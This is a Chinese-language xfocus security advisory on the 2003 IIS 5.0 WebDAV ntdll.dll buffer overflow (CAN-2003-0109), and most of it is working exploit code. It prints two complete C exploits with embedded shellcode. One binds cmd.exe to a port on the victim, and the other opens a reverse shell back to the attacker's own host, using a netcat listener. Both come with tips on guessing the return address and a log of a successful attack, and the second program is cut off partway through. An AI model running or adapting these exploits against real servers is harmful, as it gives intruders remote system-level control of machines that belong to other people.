xfocus logo xfocus title
首页 焦点原创 安全文摘 安全工具 安全漏洞 焦点项目 焦点论坛 关于我们
English Version

Microsoft Windows 2000 ntdll.dll WebDAV接口远程缓冲区溢出漏洞


发布时间:2003-03-27
更新时间:2003-03-27
严重程度:
威胁程度:远程管理员权限
错误类型:边界检查错误
利用方式:服务器模式

BUGTRAQ ID:7116
CVE(CAN) ID:CAN-2003-0109

受影响系统
Microsoft Windows 2000 Advanced Server SP3  
Microsoft Windows 2000 Advanced Server SP2  
Microsoft Windows 2000 Advanced Server SP1  
Microsoft Windows 2000 Advanced Server      
Microsoft Windows 2000 Datacenter Server SP3
Microsoft Windows 2000 Datacenter Server SP2
Microsoft Windows 2000 Datacenter Server SP1
Microsoft Windows 2000 Datacenter Server    
Microsoft Windows 2000 Professional SP3      
Microsoft Windows 2000 Professional SP2      
Microsoft Windows 2000 Professional SP1      
Microsoft Windows 2000 Professional          
Microsoft Windows 2000 Server SP3            
Microsoft Windows 2000 Server SP2            
Microsoft Windows 2000 Server SP1            
Microsoft Windows 2000 Server                
Microsoft Windows 2000 Terminal Services SP3
Microsoft Windows 2000 Terminal Services SP2
Microsoft Windows 2000 Terminal Services SP1
Microsoft Windows 2000 Terminal Services
详细描述
Microsoft IIS 5.0带有WebDaV组件对用户输入的传递给ntdll.dll程序处理的请求未做充分的边界检查,远程入侵者可以通过向WebDaV提交一个精心构造的超长的数据请求而导致发生缓冲区溢出,这可能使入侵者以LocalSystem的权限在主机上执行任意指令。

测试代码
/*************************************/
/* IIS 5.0 WebDAV -Proof of concept- */
/* [ Bug: CAN-2003-0109 ]            */
/* By Roman Medina-Heigl Hernandez   */
/* aka RoMaNSoFt <roman@rs-labs.com> */
/* Madrid, 23.Mar.2003               */
/* ================================= */
/* Public release. Version 1.        */
/* --------------------------------- */
/*   -= http://www.rs-labs.com/ =-   */
/*************************************/

/* ==================================================================================================
* --[ READ ME ]
*
*   This exploit is mainly a proof of concept of the recently discovered ntdll.dll bug (which may be
* exploited in many other programs, not necessarily IIS). Practical exploitation is not as easy as
* expected due to difficult RET guessing mixed with possible IIS crashes (which makes RET brute
* forcing a tedious work). The shellcode included here will bind a cmd.exe shell to a given port
* at the victim machine so it could be problematic if that machine is protected behind a firewall.
* For all these reasons, the scope of this code is limited and mainly intended for educational
* purposes. I am not responsible of possible damages created by the use of this exploit code.
*
*   The program sends a HTTP request like this:
*
* SEARCH /[nop] [ret][ret][ret] ... [ret] [nop][nop][nop][nop][nop] ... [nop] [jmpcode] HTTP/1.1
* {HTTP headers here}
* {HTTP body with webDAV content}
* 0x01 [shellcode]
*
*   IIS converts the first ascii string ([nop]...[jmpcode]) to Unicode using UTF-16 encoding (for
* instance, 0x41 becomes 0x41 0x00, i.e. an extra 0x00 byte is added) and it is the resultant
* Unicode string the one producing the overflow. So at first glance, we cannot include code here
* (more on this later) because it would get corrupted by 0x00 (and other) inserted bytes. Not at
* least using the common method. Another problem that we will have to live with is our RET value
* being padded with null bytes, so if we use 0xabcd in our string, the real RET value (i.e. the
* one EIP will be overwritten with) would be 0x00ab00cd. This is an important restriction.
*
*   We have two alternatives:
*
* 1) The easy one: find any occurrences of our ascii string (i.e. before it gets converted to
*    the Unicode form) in process memory. Problem: normally we should find it by debugging the
*    vulnerable application and then hardcode the found address (which will be the RET address)
*    in our exploit code. This RET address is variable, even for the same version of OS and app
*    (I mean, different instances of the same application in the same machine could make the
*    guessed RET address invalid at different moments). Now add the restriction of RET value
*    padded with null-bytes. Anyway, the main advantage of this method is that we will not have
*    to deal with 0x00-padded shellcode.
*
* 2) The not so-easy one: you could insert an encoded shellcode in such a way that when the app
*    expands the ascii string (with the encoded shellcode) to Unicode, a valid shellcode is
*    automagically placed into memory. Please, refer to Chris Anley's "venetian exploit" paper
*    to read more about this. Dave Aitel also has a good paper about this technique and indeed
*    he released code written in Python to encode shellcode (I'm wondering if he will release a
*    working tool for that purpose, since the actual code was released as part of a commercial
*    product, so it cannot be run without buying the whole product, despite the module itself
*    being free!). Problem: it is not so easy as the first method ;-) Advantage: when the over-
*    flow happens, some registers may point to our Unicoded string (where our Unicoded-shellcode
*    lives in), so we don't need to guess the address where shellcode will be placed and the
*    chance of a successful exploitation is greatly improved. For instance, in this case, when
*    IIS is overflowed, ECX register points to the Unicode string. The idea is then fill in
*    RET value with the fixed address of code like "call %ecx". This code may be contained in
*    any previosly-loaded library, for example).
*
*   Well, guess it... yes... I chose the easy method :-) Perhaps I will rewrite the exploit
* using method 2, but I cannot promise that.
*
*   Let's see another problem of the method 1 (which I have used). Not all Unicode conversions
* result in a 0x00 byte being added. This is true for ascii characters lower or equal to 0x7f
* (except for some few special characters, I'm not sure). But our shellcode will have bytes
* greater than 0x7f value. So we don't know the exact length of the Unicoded-string containing
* our shellcode (some ascii chars will expand to more than 2 bytes, I think). As a result,
* sometimes the exploit may not work, because no exact length is matched. For instance, if you
* carry out experiments on this issue, you could see that IIS crashes (overflow occurs) when
* entering a query like SEARCH /AAAA...AAA HTTP/1.1, with 65535 A's. Same happens with 65536.
* But with different values seems NOT to work. So matching the exact length is important here!
*
*   What I have done, it is to include a little "jumpcode" instead of the shellcode itself. The
* jumpcode is placed into the "critical" place and has a fixed length, so our string has always
* a fixed length, too. The "variable" part (the shellcode) is placed at the end of the HTTP
* request (so you can insert your own shellcode and remove the one I'm using here, with no apparent
* problem). To be precise, the end of the request will be: 0x01 [shellcode]. The 0x01 byte marks
* the beginning of the shellcode and it is used by the jumpcode to find the address where shell-
* code begins and jump into it. It is not possible to hardcode a relative jump, because HTTP
* headers have a variable length (think about the "Host:" header and you will understand what
* I'm saying). Well, really, the exploit could have calculated the relative jump itself (other
* problems arise like null-bytes possibly contained in the offset field) but I have prefered to
* use the 0x01 trick. It's my exploit, it's my choice :-)
*
*   After launching the exploit, several things may happen:
* - the exploit is successful. You can connect to the bound port of victim machine and get a
*   shell. Great. Remember that when you issue an "exit" command in the shell prompt, the pro-
*   cess will be terminated. This implies that IIS could die.
* - exploit returns a "server not vulnerable" response. Really, the server may not be vulnerable
*   or perhaps the SEARCH method used by the exploit is not permitted (the bug can still be
*   exploited via GET, probably) or webDAV is disabled at all.
* - exploit did not get success (which is not strange, since it is not easy to guess RET value)
*   but the server is vulnerable. IIS will probably not survive: a "net start w3svc" could be
*   needed in the victim machine, in order to restart the WWW service.
*
*   The following log shows a correct exploitation:
*
* roman@goliat:~/iis5webdav> gcc -o rs_iis rs_iis.c
* roman@goliat:~/iis5webdav> ./rs_iis roman      
* [*] Resolving hostname ...
* [*] Attacking port 80 at roman (EIP = 0x00480004)...
* [*] Now open another console/shell and try to connect (telnet) to victim port 31337...
*
* roman@goliat:~/iis5webdav> telnet roman 31337
* Trying 192.168.0.247...
* Connected to roman.
* Escape character is '^]'.
* Microsoft Windows 2000 [Versi 5.00.2195]
* (C) Copyright 1985-2000 Microsoft Corp.
*
* C:\WINNT\system32>
*
*
*   I am not going to show logs for the faulty cases. I'm pretty sure you will see them very
* soon :-) But yes, the exploit works, perhaps a little fine-tunning may be required, though.
* So please, do NOT contact me telling that the exploit doesn't work or things like that. It
* worked for me and it will work for you, if you're not a script-kiddie. Try to attach to the
* IIS process (inetinfo.exe) with the help of a debugger (OllyDbg is my favourite) on the
* victim machine and then launch the exploit against it. Debugger will break when the first
* exception is produced. Now place a breakpoint in 0x00ab00cd (being 0xabcd the not-unicoded
* RET value) and resume execution until you reach that point. Finally, it's time to search
* the memory looking for our shellcode. It is nearly impossible (very low chance) that our
* shellcode is found at any 0x00**00**-form address (needed to bypass the RET restriction
* imposed by Unicode conversion) but no problem: you have a lot of NOPs before the shellcode
* where you could point to. If EIP is overwritten with the address of such a NOP, program flow
* will finish reaching our shellcode. Note also that among the two bytes of RET that we have some
* kind of control, the more important is the first one, i.e. the more significant. In other
* words, interesting RET values to try are: 0x0104, 0x0204, 0x0304, 0x0404, 0x0504, ...,
* and so on, till 0xff04. As you may have noticed, the last byte (0x04) is never changed because
* its weight is minimal (256 between aprox. 65000 NOP's is not appreciable).
*
*   I will be happy to receive ideas, comments and feedback about issues related to this exploit
* and the exploited vulnerability itself. Drop me an e-mail. No script-kiddies, please.
*
*   My best wishes,
* --Roman
*
* ================================================================= --[ EOT ]-- ====================
*/


#include <stdio.h>
#include <errno.h>
#include <string.h>
#include <stdlib.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netdb.h>
#include <netinet/in.h>

// Change to fit your need
#define  RET             0x4804          // EIP = 0x00480004
#define  LOADLIBRARYA    0x0100107c
#define  GETPROCADDRESS  0x01001034

// Don't change this
#define  PORT_OFFSET     1052
#define  LOADL_OFFSET    798
#define  GETPROC_OFFSET  815
#define  NOP             0x90
#define  MAXBUF          100000


/*
* LoadLibraryA IT Address   := 0100107C
* GetProcAddress IT Address := 01001034
*/

unsigned char shellcode[] =            // Deepzone shellcode
  "\x68\x5e\x56\xc3\x90\x54\x59\xff\xd1\x58\x33\xc9\xb1\x1c"
  "\x90\x90\x90\x90\x03\xf1\x56\x5f\x33\xc9\x66\xb9\x95\x04"
  "\x90\x90\x90\xac\x34\x99\xaa\xe2\xfa\x71\x99\x99\x99\x99"
  "\xc4\x18\x74\x40\xb8\xd9\x99\x14\x2c\x6b\xbd\xd9\x99\x14"
  "\x24\x63\xbd\xd9\x99\xf3\x9e\x09\x09\x09\x09\xc0\x71\x4b"
  "\x9b\x99\x99\x14\x2c\xb3\xbc\xd9\x99\x14\x24\xaa\xbc\xd9"
  "\x99\xf3\x93\x09\x09\x09\x09\xc0\x71\x23\x9b\x99\x99\xf3"
  "\x99\x14\x2c\x40\xbc\xd9\x99\xcf\x14\x2c\x7c\xbc\xd9\x99"
  "\xcf\x14\x2c\x70\xbc\xd9\x99\xcf\x66\x0c\xaa\xbc\xd9\x99"
  "\xf3\x99\x14\x2c\x40\xbc\xd9\x99\xcf\x14\x2c\x74\xbc\xd9"
  "\x99\xcf\x14\x2c\x68\xbc\xd9\x99\xcf\x66\x0c\xaa\xbc\xd9"
  "\x99\x5e\x1c\x6c\xbc\xd9\x99\xdd\x99\x99\x99\x14\x2c\x6c"
  "\xbc\xd9\x99\xcf\x66\x0c\xae\xbc\xd9\x99\x14\x2c\xb4\xbf"
  "\xd9\x99\x34\xc9\x66\x0c\xca\xbc\xd9\x99\x14\x2c\xa8\xbf"
  "\xd9\x99\x34\xc9\x66\x0c\xca\xbc\xd9\x99\x14\x2c\x68\xbc"
  "\xd9\x99\x14\x24\xb4\xbf\xd9\x99\x3c\x14\x2c\x7c\xbc\xd9"
  "\x99\x34\x14\x24\xa8\xbf\xd9\x99\x32\x14\x24\xac\xbf\xd9"
  "\x99\x32\x5e\x1c\xbc\xbf\xd9\x99\x99\x99\x99\x99\x5e\x1c"
  "\xb8\xbf\xd9\x99\x98\x98\x99\x99\x14\x2c\xa0\xbf\xd9\x99"
  "\xcf\x14\x2c\x6c\xbc\xd9\x99\xcf\xf3\x99\xf3\x99\xf3\x89"
  "\xf3\x98\xf3\x99\xf3\x99\x14\x2c\xd0\xbf\xd9\x99\xcf\xf3"
  "\x99\x66\x0c\xa2\xbc\xd9\x99\xf1\x99\xb9\x99\x99\x09\xf1"
  "\x99\x9b\x99\x99\x66\x0c\xda\xbc\xd9\x99\x10\x1c\xc8\xbf"
  "\xd9\x99\xaa\x59\xc9\xd9\xc9\xd9\xc9\x66\x0c\x63\xbd\xd9"
  "\x99\xc9\xc2\xf3\x89\x14\x2c\x50\xbc\xd9\x99\xcf\xca\x66"
  "\x0c\x67\xbd\xd9\x99\xf3\x9a\xca\x66\x0c\x9b\xbc\xd9\x99"
  "\x14\x2c\xcc\xbf\xd9\x99\xcf\x14\x2c\x50\xbc\xd9\x99\xcf"
  "\xca\x66\x0c\x9f\xbc\xd9\x99\x14\x24\xc0\xbf\xd9\x99\x32"
  "\xaa\x59\xc9\x14\x24\xfc\xbf\xd9\x99\xce\xc9\xc9\xc9\x14"
  "\x2c\x70\xbc\xd9\x99\x34\xc9\x66\x0c\xa6\xbc\xd9\x99\xf3"
  "\xa9\x66\x0c\xd6\xbc\xd9\x99\x72\xd4\x09\x09\x09\xaa\x59"
  "\xc9\x14\x24\xfc\xbf\xd9\x99\xce\xc9\xc9\xc9\x14\x2c\x70"
  "\xbc\xd9\x99\x34\xc9\x66\x0c\xa6\xbc\xd9\x99\xf3\xc9\x66"
  "\x0c\xd6\xbc\xd9\x99\x1a\x24\xfc\xbf\xd9\x99\x9b\x96\x1b"
  "\x8e\x98\x99\x99\x18\x24\xfc\xbf\xd9\x99\x98\xb9\x99\x99"
  "\xeb\x97\x09\x09\x09\x09\x5e\x1c\xfc\xbf\xd9\x99\x99\xb9"
  "\x99\x99\xf3\x99\x12\x1c\xfc\xbf\xd9\x99\x14\x24\xfc\xbf"
  "\xd9\x99\xce\xc9\x12\x1c\xc8\xbf\xd9\x99\xc9\x14\x2c\x70"
  "\xbc\xd9\x99\x34\xc9\x66\x0c\xde\xbc\xd9\x99\xf3\xc9\x66"
  "\x0c\xd6\xbc\xd9\x99\x12\x1c\xfc\xbf\xd9\x99\xf3\x99\xc9"
  "\x14\x2c\xc8\xbf\xd9\x99\x34\xc9\x14\x2c\xc0\xbf\xd9\x99"
  "\x34\xc9\x66\x0c\x93\xbc\xd9\x99\xf3\x99\x14\x24\xfc\xbf"
  "\xd9\x99\xce\xf3\x99\xf3\x99\xf3\x99\x14\x2c\x70\xbc\xd9"
  "\x99\x34\xc9\x66\x0c\xa6\xbc\xd9\x99\xf3\xc9\x66\x0c\xd6"
  "\xbc\xd9\x99\xaa\x50\xa0\x14\xfc\xbf\xd9\x99\x96\x1e\xfe"
  "\x66\x66\x66\xf3\x99\xf1\x99\xb9\x99\x99\x09\x14\x2c\xc8"
  "\xbf\xd9\x99\x34\xc9\x14\x2c\xc0\xbf\xd9\x99\x34\xc9\x66"
  "\x0c\x97\xbc\xd9\x99\x10\x1c\xf8\xbf\xd9\x99\xf3\x99\x14"
  "\x24\xfc\xbf\xd9\x99\xce\xc9\x14\x2c\xc8\xbf\xd9\x99\x34"
  "\xc9\x14\x2c\x74\xbc\xd9\x99\x34\xc9\x66\x0c\xd2\xbc\xd9"
  "\x99\xf3\xc9\x66\x0c\xd6\xbc\xd9\x99\xf3\x99\x12\x1c\xf8"
  "\xbf\xd9\x99\x14\x24\xfc\xbf\xd9\x99\xce\xc9\x12\x1c\xc8"
  "\xbf\xd9\x99\xc9\x14\x2c\x70\xbc\xd9\x99\x34\xc9\x66\x0c"
  "\xde\xbc\xd9\x99\xf3\xc9\x66\x0c\xd6\xbc\xd9\x99\x70\x20"
  "\x67\x66\x66\x14\x2c\xc0\xbf\xd9\x99\x34\xc9\x66\x0c\x8b"
  "\xbc\xd9\x99\x14\x2c\xc4\xbf\xd9\x99\x34\xc9\x66\x0c\x8b"
  "\xbc\xd9\x99\xf3\x99\x66\x0c\xce\xbc\xd9\x99\xc8\xcf\xf1"
  "\xe5\x89\x99\x98\x09\xc3\x66\x8b\xc9\xc2\xc0\xce\xc7\xc8"
  "\xcf\xca\xf1\xad\x89\x99\x98\x09\xc3\x66\x8b\xc9\x35\x1d"
  "\x59\xec\x62\xc1\x32\xc0\x7b\x70\x5a\xce\xca\xd6\xda\xd2"
  "\xaa\xab\x99\xea\xf6\xfa\xf2\xfc\xed\x99\xfb\xf0\xf7\xfd"
  "\x99\xf5\xf0\xea\xed\xfc\xf7\x99\xf8\xfa\xfa\xfc\xe9\xed"
  "\x99\xea\xfc\xf7\xfd\x99\xeb\xfc\xfa\xef\x99\xfa\xf5\xf6"
  "\xea\xfc\xea\xf6\xfa\xf2\xfc\xed\x99\xd2\xdc\xcb\xd7\xdc"
  "\xd5\xaa\xab\x99\xda\xeb\xfc\xf8\xed\xfc\xc9\xf0\xe9\xfc"
  "\x99\xde\xfc\xed\xca\xed\xf8\xeb\xed\xec\xe9\xd0\xf7\xff"
  "\xf6\xd8\x99\xda\xeb\xfc\xf8\xed\xfc\xc9\xeb\xf6\xfa\xfc"
  "\xea\xea\xd8\x99\xc9\xfc\xfc\xf2\xd7\xf8\xf4\xfc\xfd\xc9"
  "\xf0\xe9\xfc\x99\xde\xf5\xf6\xfb\xf8\xf5\xd8\xf5\xf5\xf6"
  "\xfa\x99\xcb\xfc\xf8\xfd\xdf\xf0\xf5\xfc\x99\xce\xeb\xf0"
  "\xed\xfc\xdf\xf0\xf5\xfc\x99\xca\xf5\xfc\xfc\xe9\x99\xda"
  "\xf5\xf6\xea\xfc\xd1\xf8\xf7\xfd\xf5\xfc\x99\xdc\xe1\xf0"
  "\xed\xc9\xeb\xf6\xfa\xfc\xea\xea\x99\xda\xf6\xfd\xfc\xfd"
  "\xb9\xfb\xe0\xb9\xe5\xc3\xf8\xf7\xb9\xa5\xf0\xe3\xf8\xf7"
  "\xd9\xfd\xfc\xfc\xe9\xe3\xf6\xf7\xfc\xb7\xf6\xeb\xfe\xa7"
  "\x9b\x99\x86\xd1\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99"
  "\x99\x99\x95\x99\x99\x99\x99\x99\x99\x99\x98\x99\x99\x99"
  "\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99"
  "\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99"
  "\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99"
  "\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99"
  "\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99"
  "\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99"
  "\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99"
  "\x99\x99\xda\xd4\xdd\xb7\xdc\xc1\xdc\x99\x99\x99\x99\x99"
  "\x89\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99"
  "\x99\x99\x99\x99\x99\x99\x90\x90\x90\x90\x90\x90\x90\x90";

unsigned char jumpcode[] = "\x8b\xf9\x32\xc0\xfe\xc0\xf2\xae\xff\xe7";
/* mov edi, ecx
* xor al, al
* inc al
* repnz scasb
* jmp edi
*/

char body[] = "<?xml version=\"1.0\"?>\r\n<g:searchrequest xmlns:g=\"DAV:\">\r\n" \
  "<g:sql>\r\nSelect \"DAV:displayname\" from scope()\r\n</g:sql>\r\n</g:searchrequest>\r\n";


/* Our code starts here */
int main (int argc, char **argv)
{
  
  unsigned long ret;
  unsigned short port;
  int tport, bport, s, i, j, r, rt=0;
  struct hostent *h;
  struct sockaddr_in dst;
  char buffer[MAXBUF];

  if (argc < 2 || argc > 5)
{
   printf("IIS 5.0 WebDAV Exploit by RoMaNSoFt <roman@rs-labs.com>. 23/03/2003\nUsage: %s <target host> [target port] [bind port] [ret]\nE.g 1: %s victim.com\nE.g 2: %s victim.com 80 31337 %#.4x\n", argv[0], argv[0], argv[0], RET);
   exit(-1);
}
  
  // Default target port = 80
  if (argc > 2)
tport = atoi(argv[2]);
  else
tport = 80;

  // Default bind port = 31337
  if (argc > 3)
bport = atoi(argv[3]);
  else
bport = 31337;

  // Default ret value = RET
  if (argc > 4)
ret = strtoul(argv[4], NULL, 16);
  else
ret = RET;

  if ( ret > 0xffff || (ret & 0xff) == 0 || (ret & 0xff00) == 0 )
{
   fprintf(stderr, "RET value must be in 0x0000-0xffff range and it may not contain null-bytes\nAborted!\n");
   exit(-2);
}
    
  // Shellcode patching
  port = htons(bport);
  port ^= 0x9999;
  
  if ( ((port & 0xff) == 0) || ((port & 0xff00) == 0) )
{
   fprintf(stderr, "Binding-port contains null-byte. Use another port.\nAborted!\n");
   exit(-3);
}
  
  *(unsigned short *)&shellcode[PORT_OFFSET] = port;
  *(unsigned long *)&shellcode[LOADL_OFFSET] = LOADLIBRARYA ^ 0x99999999;
  *(unsigned long *)&shellcode[GETPROC_OFFSET] = GETPROCADDRESS ^ 0x99999999;
  // If the last two items contain any null-bytes, exploit will fail.
  // WARNING: this check is not performed here. Be careful and check it for yourself!
  
  // Resolve hostname
  printf("[*] Resolving hostname ...\n");
  if ((h = gethostbyname(argv[1])) == NULL)
{
   fprintf(stderr, "%s: unknown hostname\n", argv[1]);
   exit(-4);
}
  
  bcopy(h->h_addr, &dst.sin_addr, h->h_length);
  dst.sin_family = AF_INET;
  dst.sin_port = htons(tport);
  
  // Socket creation
  if ((s = socket(AF_INET, SOCK_STREAM, 0)) == -1)
{
   perror("Failed to create socket");
   exit(-5);
}
  
  // Connection
  if (connect(s, (struct sockaddr *)&dst, sizeof(dst)) == -1)
{
   perror("Failed to connect");
   exit(-6);
}
  
  // Build malicious string...
  printf("[*] Attacking port %i at %s (EIP = %#.4x%.4x)...\n", tport, argv[1], ((ret >> 8) & 0xff), ret & 0xff);

  bzero(buffer, MAXBUF);
  strcpy(buffer, "SEARCH /");
  
  i = strlen(buffer);
  buffer[i] = NOP;         // Align for RET overwrite

  // Normally, EIP will be overwritten with buffer[8+2087] but I prefer to fill some more bytes ;-)
  for (j=i+1; j < i+2150; j+=2)
*(unsigned short *)&buffer[j] = (unsigned short)ret;

  // The rest is padded with NOP's. RET address should point to this zone!
  for (; j < i+65535-strlen(jumpcode); j++)
buffer[j] = NOP;

  // Then we skip the body of the HTTP request
  memcpy(&buffer[j], jumpcode, strlen(jumpcode));

  strcpy(buffer+strlen(buffer), " HTTP/1.1\r\n");
  sprintf(buffer+strlen(buffer), "Host: %s\r\nContent-Type: text/xml\r\nContent-Length: %d\r\n\r\n", argv[1], strlen(body) + strlen(shellcode));
  strcpy(buffer+strlen(buffer), body);
  
  // This byte is used to mark the beginning of the shellcode
  memset(buffer+strlen(buffer), 0x01, 1);
  
  // And finally, we land into our shellcode
  memset(buffer+strlen(buffer), NOP, 3);
  strcpy(buffer+strlen(buffer), shellcode);
  
  // Send request
  if (send(s, buffer, strlen(buffer), 0) != strlen(buffer))
{
   perror("Failed to send");
   exit(-7);
}

  printf("[*] Now open another console/shell and try to connect (telnet) to victim port %i...\n", bport);

  // Receive response
  while ( (r=recv(s, &buffer[rt], MAXBUF-1, 0)) > 0)
rt += r;
  // This code is not bullet-proof. An evil WWW server could return a response bigger than MAXBUF
  // and an overflow would occur here. Yes, I'm lazy... :-)
  
  buffer[rt] = '\0';
  
  if (rt > 0)
printf("[*] Victim server issued the following %d bytes of response:\n--\n%s\n--\n[*] Server NOT vulnerable!\n", rt, buffer);
  else
    printf("[*] Server is vulnerable but the exploit failed! Change RET value (e.g. 0xce04) and try again (when IIS is up again) :-/\n", bport);
  
  close(s);

}

/*******************************************************************/
/*     [Crpt] ntdll.dll exploit trough WebDAV by kralor [Crpt]     */
/* --------------------------------------------------------------- */
/*     this is the exploit for ntdll.dll through WebDAV.           */
/*     run a netcat ex: nc -L -vv -p 666                           */
/*     wb server.com your_ip 666 0                                 */
/*     the shellcode is a reverse remote shell                     */
/*     you need to pad a bit.. the best way I think is launching   */
/*     the exploit with pad = 0 and after that, the server will be */
/*     down for a couple of seconds, now retry with pad at 1       */
/*     and so on..pad 2.. pad 3.. if you haven't the shell after   */
/*     something like pad at 10 I think you better to restart from */
/*     pad at 0. On my local IIS the pad was at 1 (0x00110011) but */
/*     on all the others servers it was at 2,3,4, etc..sometimes   */
/*     you can have the force with you, and get the shell in 1 try */
/*     sometimes you need to pad more than 10 times ;)             */
/*     the shellcode was coded by myself, it is SEH + ScanMem to   */
/*     find the famous offsets (GetProcAddress)..                  */
/*     I know I code like a pig, my english sucks, and my tech too */
/*     it is my first exploit..and my first shellcode..sorry :P    */
/*     if you have comments feel free to mail me at:               */
/*     mailto: kralor@coromputer.net                               */
/*     or visit us at www.coromputer.net . You can speak with us   */
/*     at IRC undernet channel #coromputer                         */
/*     ok now the greetz:                                          */
/*     [El0d1e] to help me find some information about the bug :)  */
/*     tuck_ to support me ;)                                      */
/*     and all my friends in coromputer crew! hein les poulets! =) */
/*******************************************************************/


#include <winsock.h>
#include <windows.h>
#include <stdio.h>

#pragma comment (lib,"ws2_32")

char shellc0de[] =
        "\x55\x8b\xec\x33\xc9\x53\x56\x57\x8d\x7d\xa2\xb1\x25\xb8\xcc\xcc"
        "\xcc\xcc\xf3\xab\xeb\x09\xeb\x0c\x58\x5b\x59\x5a\x5c\x5d\xc3\xe8"
        "\xf2\xff\xff\xff\x5b\x80\xc3\x10\x33\xc9\x66\xb9\xb5\x01\x80\x33"
        "\x95\x43\xe2\xfa\x66\x83\xeb\x67\xfc\x8b\xcb\x8b\xf3\x66\x83\xc6"
        "\x46\xad\x56\x40\x74\x16\x55\xe8\x13\x00\x00\x00\x8b\x64\x24\x08"
        "\x64\x8f\x05\x00\x00\x00\x00\x58\x5d\x5e\xeb\xe5\x58\xeb\xb9\x64"
        "\xff\x35\x00\x00\x00\x00\x64\x89\x25\x00\x00\x00\x00\x48\x66\x81"
        "\x38\x4d\x5a\x75\xdb\x64\x8f\x05\x00\x00\x00\x00\x5d\x5e\x8b\xe8"
        "\x03\x40\x3c\x8b\x78\x78\x03\xfd\x8b\x77\x20\x03\xf5\x33\xd2\x8b"
        "\x06\x03\xc5\x81\x38\x47\x65\x74\x50\x75\x25\x81\x78\x04\x72\x6f"
        "\x63\x41\x75\x1c\x81\x78\x08\x64\x64\x72\x65\x75\x13\x8b\x47\x24"
        "\x03\xc5\x0f\xb7\x1c\x50\x8b\x47\x1c\x03\xc5\x8b\x1c\x98\x03\xdd"
        "\x83\xc6\x04\x42\x3b\x57\x18\x75\xc6\x8b\xf1\x56\x55\xff\xd3\x83"
        "\xc6\x0f\x89\x44\x24\x20\x56\x55\xff\xd3\x8b\xec\x81\xec\x94\x00"
        "\x00\x00\x83\xc6\x0d\x56\xff\xd0\x89\x85\x7c\xff\xff\xff\x89\x9d"
        "\x78\xff\xff\xff\x83\xc6\x0b\x56\x50\xff\xd3\x33\xc9\x51\x51\x51"
        "\x51\x41\x51\x41\x51\xff\xd0\x89\x85\x94\x00\x00\x00\x8b\x85\x7c"
        "\xff\xff\xff\x83\xc6\x0b\x56\x50\xff\xd3\x83\xc6\x08\x6a\x10\x56"
        "\x8b\x8d\x94\x00\x00\x00\x51\xff\xd0\x33\xdb\xc7\x45\x8c\x44\x00"
        "\x00\x00\x89\x5d\x90\x89\x5d\x94\x89\x5d\x98\x89\x5d\x9c\x89\x5d"
        "\xa0\x89\x5d\xa4\x89\x5d\xa8\xc7\x45\xb8\x01\x01\x00\x00\x89\x5d"
        "\xbc\x89\x5d\xc0\x8b\x9d\x94\x00\x00\x00\x89\x5d\xc4\x89\x5d\xc8"
        "\x89\x5d\xcc\x8d\x45\xd0\x50\x8d\x4d\x8c\x51\x6a\x00\x6a\x00\x6a"
        "\x00\x6a\x01\x6a\x00\x6a\x00\x83\xc6\x09\x56\x6a\x00\x8b\x45\x20"
        "\xff\xd0"
        "CreateProcessA\x00LoadLibraryA\x00ws2_32.dll\x00WSASocketA\x00"
        "connect\x00\x02\x00\x02\x9A\xC0\xA8\x01\x01\x00"
        "cmd" // don't change anything..
        "\x00\x00\xe7\x77" // offsets of kernel32.dll for some win ver..
        "\x00\x00\xe8\x77"
        "\x00\x00\xf0\x77"
        "\x00\x00\xe4\x77"
        "\x00\x88\x3e\x04" // win2k3
        "\x00\x00\xf7\xbf" // win9x =P
        "\xff\xff\xff\xff";

int test_host(char *host)
{
    char search[100]="";
    int sock;
    struct hostent *heh;
    struct sockaddr_in hmm;
    char buf[100] ="";

    if(strlen(host)>60) {
        printf("error: victim host too long.\r\n");
        return 1;
    }

  if ((heh = gethostbyname(host))==0){
    printf("error: can't resolve '%s'",host);
    return 1;
  }

  sprintf(search,"SEARCH / HTTP/1.1\r\nHost: %s\r\n\r\n",host);
  hmm.sin_port = htons(80);
  hmm.sin_family = AF_INET;
  hmm.sin_addr = *((struct in_addr *)heh->h_addr);
  
  if ((sock = socket(AF_INET, SOCK_STREAM, 0)) == -1){
    printf("error: can't create socket");
    return 1;
  }
  
  printf("Checking WebDav on '%s' ... ",host);

  if ((connect(sock, (struct sockaddr *) &hmm, sizeof(hmm))) == -1){
    printf("CONNECTING_ERROR\r\n");
    return 1;
  }
    send(sock,search,strlen(search),0);
    recv(sock,buf,sizeof(buf),0);
if(buf[9]=='4'&&buf[10]=='1'&&buf[11]=='1')
    return 0;
    printf("NOT FOUND\r\n");
    return 1;
}

void help(char *program)
{
    printf("syntax: %s <victim_host> <your_host> <your_port> [padding]\r\n",program);
    return;
}

void banner(void)
{
    printf("\r\n\t  [Crpt] ntdll.dll exploit trough WebDAV by kralor [Crpt]\r\n");
    printf("\t\twww.coromputer.net && undernet #coromputer\r\n\r\n");
    return;
}

void main(int argc, char *argv[])
{
    WSADATA wsaData;
    unsigned short port=0;
    char *port_to_shell="", *ip1="", data[50]="";
    unsigned int i,j;
    unsigned int ip = 0 ;
    int s, PAD=0x10;
    struct hostent *he;
    struct sockaddr_in crpt;
    char buffer[65536] ="";
    char request[80000];    // huuuh, what a mess! :)
    char content[] =
         "<?xml version=\"1.0\"?>\r\n"
         "<g:searchrequest xmlns:g=\"DAV:\">\r\n"
         "<g:sql>\r\n"
         "Select \"DAV:displayname\" from scope()\r\n"
         "</g:sql>\r\n"
         "</g:searchrequest>\r\n";

    banner();
    if((argc<4)||(argc>5)) {
        help(argv[0]);
        return;
    }

if(WSAStartup(0x0101,&wsaData)!=0) {
    printf("error starting winsock..");
    return;
    }
    
if(test_host(argv[1]))
    return;

if(argc==5)
    PAD+=atoi(argv[4]);

printf("FOUND\r\nexploiting ntdll.dll through WebDav [ret: 0x00%02x00%02x]\r\n",PAD,PAD);

    ip = inet_addr(argv[2]); ip1 = (char*)&ip;

